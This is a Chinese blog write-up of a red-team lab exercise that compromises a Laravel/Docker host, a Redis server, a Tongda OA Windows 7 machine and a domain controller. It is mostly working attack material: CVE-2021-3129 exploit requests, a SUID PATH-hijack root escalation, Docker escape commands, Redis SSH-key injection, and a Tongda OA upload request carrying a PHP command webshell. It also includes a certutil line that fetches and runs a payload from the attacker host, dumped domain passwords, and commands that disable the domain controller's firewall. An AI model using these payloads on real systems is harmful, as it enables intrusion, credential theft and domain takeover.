ATT&CK红队评估(七)

image.png开局

目标地址: 10.10.10.10
进行端口扫描

1
nmap -p 1-65535  10.10.10.10

image.png
端口还带有6376端口 ,redis数据库,先去看看web端
存在 81 web 端口 ,进行访问
image.png是一个 Laravel v8.29.0 (PHP v7.4.14)
对这个Laravel v8.29.0 进行搜索是否存在历史漏洞
是存在RCE漏洞的

Laravel Debug mode RCE(CVE-2021-3129)

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

image.png

漏洞复现

一:首先使用 phpggc工具生成一条laravel中存在的反序列化利用POC(经过编码后的):

1
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

image.png
得到POC(编码后) 在后面加个a
发送如下数据包,将Laravel的原日志文件laravel.log清空:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 328

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

再发一个数据包,给Log增加一次前缀,用于对齐

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 163

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}

但是我这里报错了,到这里就
image.png
先不管,继续,这次发送刚才生成的POC
image.png
还是报错的 。。。。。先跟着复现思路走吧
发送如下数据包,清空对log文件中的干扰字符,只留下POC:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 299

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径)image.png
根据这个复现,看来是不成功的 发送数据包 (后面再来看看这种方法)
失败了 ,我们还是用github提供的脚步去获取webshell 吧
EXP地址: https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
image.png
但是这里连接就要使用老版本哥斯拉去连接了 3.0 以下才能连接
进行连接
image.png
成功获取webshell了
当我们查看hostname的时候,发现名字是一串数字???
image.png
这个就不太对 ,看看是否是存在docker环境

1
cat /proc/self/cgroup  #查看是否是docker容器的常用命令

image.png
这么一看全是docker容器

Docker逃逸(提权)

Linux环境变量提权

使用find命令来搜索具有SUID或4000权限的文件

1
find / -perm -u=s -type f 2>/dev/null

通过这条命令,可以遍历任何可执行文件
image.png

1
/home/jobs/shell

存在一个shell文件
ls -la 查看一下
image.png
的确是一个可执行文件
但是这里不知为何一直进不去 、其他目录,
image.png就新建了webshell 换成蚁剑去连接
image.png
这里是可以成功切换路径的
使用蚁剑反弹一个shell过来,然后在shell中执行如下命令:
image.png
写一个bash 反弹shell,反弹到kali上
image.png
执行以下命令获取root权限

1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了

image.png
这样就获取root权限了 ,但是这里依然还是docker容器

Docker 特权模式逃逸

创建一个 hack目录
把/dev/sda1 挂载到 /hack 上
image.png
这样就成功挂载了
image.png
可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

web_delivery模块 (写计划任务)

1
2
3
4
5
6
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.10.11
set lport 4444
exploit / run

image.png
由于目标docker环境没有wget 环境 ,自己把文件下载下来,放到/hack/tmp 目录下。
image.png
然后赋可执行权限,然后运行反弹shell 给msf
image.png
不对,我使用这个方法还是失败了 。(后面再试)
这里使用github 大佬的逃逸提权进行 逃逸

第一台ubuntu

一键逃逸 (0D25F57C.png

大佬脚本 : https://github.com/SPuerBRead/shovel

1
./shovel   -r -m reverse -I 10.10.10.11 -P 8888 -y

image.png
image.png
超快逃逸脚本 我称为 0D33146F.png
拿到权限先看存在那些内网网段
image.png
发现存在

1
2
192.168.52.20/24
192.168.93.10/24

网段,但是我们访问的 10.10.10.10 咋不见了 ,这里可能是做了反向代理的
刚才扫描端口的时候还存在一个6379 redis 数据库
看看尝一下是否存在未授权访问

第二台 ubuntu

直接使用redis -h IP 默认连接方式去连接
image.png
成功连接了
目标主机上写入SSH公钥。 先在攻击机上生成ssh公钥:

1
ssh-keygen -t rsa

然后将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里

1
2
3
4
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.8 -x set xxx

// -x 代表从标准输入读取数据作为该命令的最后一个参数。

image.png
攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机

1
2
3
config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上

image.png
然后直接使用 ssh 10.10.10.10 直接连接
image.png
这台redis 才是 10.10.10.10 IP的主机 ,到现在已经获取两台主机了
切都是root权限
看来目标网站应该是做了反向代理,查看Nginx 的配置文件
image.png

81端口,就是指向的是一开始那台带有docker容器的ubuntu
两台Ubuntu 主机 一台Nginx反向代理 ,一台web服务器

1
2
DMZ区域的Ubuntu 18192.168.1.8
第二层网络的Ubuntu 14192.168.52.20

内网

在DMZ区的ubuntu 上面搭建一个代理 。然后把这个shell 传给msf
image.png
添加一个通往192.168.52.0 的 路由
image.png
kali 本地我也搭建了路由的
image.png
使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活

1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

image.png
很快就探索出一台了
image.png
就探测出192.168.52.30 这台主机 ,

防火墙问题

这里不管是搭建什么代理 ,一开始搭建的 Venom ,不行我还以为是软件出问题了不支持,又换了frp,结果还是超时,然后看了别人使用ew 我也用了还是超时
image.png
image.png
只能说ew 在这里还不错 ,在web端的OA系统他起码能访问到一点界面
kali端 访问出来是这个 ,这个也看不出来是这个啥东西
image.png
他这台win7 PC1 的 防火墙是有点问题的
然后使用MSF 测试 是否存在 ms17-010 漏洞
image.png然后去进行测试。ms17-010 漏洞
image.png
还是不成功 ,接着想使用

1
auxiliary(admin/smb/ms17_010_command) 模块

去执行命令 ,
image.png
结果还是无效 (。。。。。)

被迫关闭防火墙(技术不到啊,哭死)

搭建代理 进行端口扫描 看看部署了啥服务

1
proxychains nmap -sT -Pn -sV  192.168.52.30 -F 

image.png
有一个8080 端口,是web服务 ,还是部署了Nginx的

第三台 Win7

通达OA

访问 http://192.168.52.30:8080/
image.png
欧 OA系统,通达OA存在很多漏洞的。
可以查看peiqi大佬的wiki 看是否存在漏洞
image.png
先查看这个OA系统是那个版本再对其查看相应漏洞
http://192.168.52.30:8080/inc/expired.php
image.png
是存在漏洞的 ,要进行漏洞组合利用,先任意用户登录,再进行文件上传,然后文件包含 。

漏洞复现

登录出进行抓包
image.png
然后替换php文件为/logincheck_code.php,删除cookie ,在post内容后添加一个&UID=1
image.png
这样可以获取一个cookie

1
Set-Cookie: PHPSESSID=2210hf2go2dr6bthdem1stfik1; path=/

用获取的SESSID访问/general/
这里我存在不管怎么替换cookie都不可以绕过登录,我以前是复现过通达OA v11.5 这个不行我这里 ,尝试后面存在的未授权任意文件上传

未授权文件上传+文件包含

任意文件上传漏洞 点存在于 /ispirit/im/upload.php
POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--


会返回路径
image.png

1
2
+OK [vm]257@2307_1632898820|jpg|0[/vm]
路径是 2308/1632898820.jpg

在配合文件包含漏洞才能对其进行命令执行
POC

1
2
3
4
5
6
7
8
9
10
11
12
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 74
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2307/1632898820.jpg"}&cmd=whoami


image.png
这是成功执行了的,ok 能执行命令
使用msfvenom 生成一个正向shell ,

1
2
3
4
5
6
7
8
9
10
11
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 151
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2307/1632898820.jpg"}&cmd=certutil -urlcache -split -f http://192.168.52.10:8000/win5550.exe c:/win5550.exe

去访问下载 win5550.exe 这个shell 放到c盘
image.png
然后去执行它
image.png
回弹shell
image.png
成功上线 win7 了 ,

信息搜集 域

image.png

1
2
3
4
存在网段 
192.168.93.0/24
192.168.52.0/24
域名 whoamianony.org

想通过ping 域名来定位域控结果好像不行
image.png
先上传fsan 进行一波扫描
image.png
由于权限较低,先使用注入进程 去提升一下权限
image.png
使用fscan 进行扫描一波
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
可用信息
*] NetBios: 192.168.93.20 PC1.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[*] NetBios: 192.168.93.30 [+]DC DC.whoamianony.org Windows Server 2012 R2 Datacenter 9600
[*] NetBios: 192.168.93.1 WORKGROUP\0XO1
[+] 192.168.93.40 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.93.30 MS17-010 (Windows Server 2012 R2 Datacenter 9600)
[*] WebTitle: http://192.168.93.20:8080 code:200 len:10065 title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.93.20:8080 [通达OA]
[*] WebTitle: http://192.168.93.1 code:200 len:0 title:None
[+] http://192.168.93.20:8080 tongda-user-session-disclosure

DC域控 192.168.93.30
还有一台win7 存在ms17-010 192.168.93.40

先添加路由,然后对192.168.93.40 进行ms17-010 测试
结果还是打不通ms17-010
image.png
只能先抓取 密码了 ,再看看是否能进行横向
image.png

1
2
3
4
* Username : bunny
* Domain : WHOAMIANONY
* Password : Bunny2021
在这台上面之抓到了 域用户 bunny 没有抓到域控

第四台 win7

这里可以使用ms17-010 去攻击 192.168.93.40 但是这个东西占运气成分
当拿到第四台主机 win7 时候进行密码抓取就可以抓到 域控管理原密码 了
image.png

1
administrator:Whoami2021

域控 — winserver 2012 第五台

直接使用psexec

1
2
3
4
5
6
7
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

image.png
也是没有用的,可能开了防火墙
使用ipc连接关闭防火墙

1
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

image.png
使用sc远程在域制器上创建服务,关闭防火墙

1
2
3
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

image.png
亲自查看防火墙关闭没
image.png正常关闭的
测试了次了
image.png
终于获取shell 了
(如果这里msf的session 很久了,可能获取不了shell ,不太稳定,一直超时)
image.png
到这里也是成功获取shell 了
image.png

有一台linux 我给关掉了 ,内存太小了容易卡 ,这个靶场就先到这里 ,文章很乱 。 就先丢blog上面去
我后面会完善到我自己的本地笔记上 。
难到也是不是很难,但是很多细节我不太了解,我失败的地方很多
比如 ,docker 逃逸我看大佬使用msf的的web_delivery模块 (写计划任务)逃逸我没有成功,写ssh 我就没有成功过,第一个漏洞RCE我使用burp也没有复现成功 ,到后面就一直报错,通达OA 获取cookie绕过登录也失败了,我在前面复现过通达另外一个绕过登录对成功了,这个他会到最后跳转到本版信息哪里 ,
还有个奇葩的点,为什么我看哪些大佬在第一台win7 抓到了域控的密码,我抓不到,只能获取第二天win7的权限才能抓取到域控的权限 ,奇葩
哎 这么写下来还是挺麻烦挺难的 我chao 😫。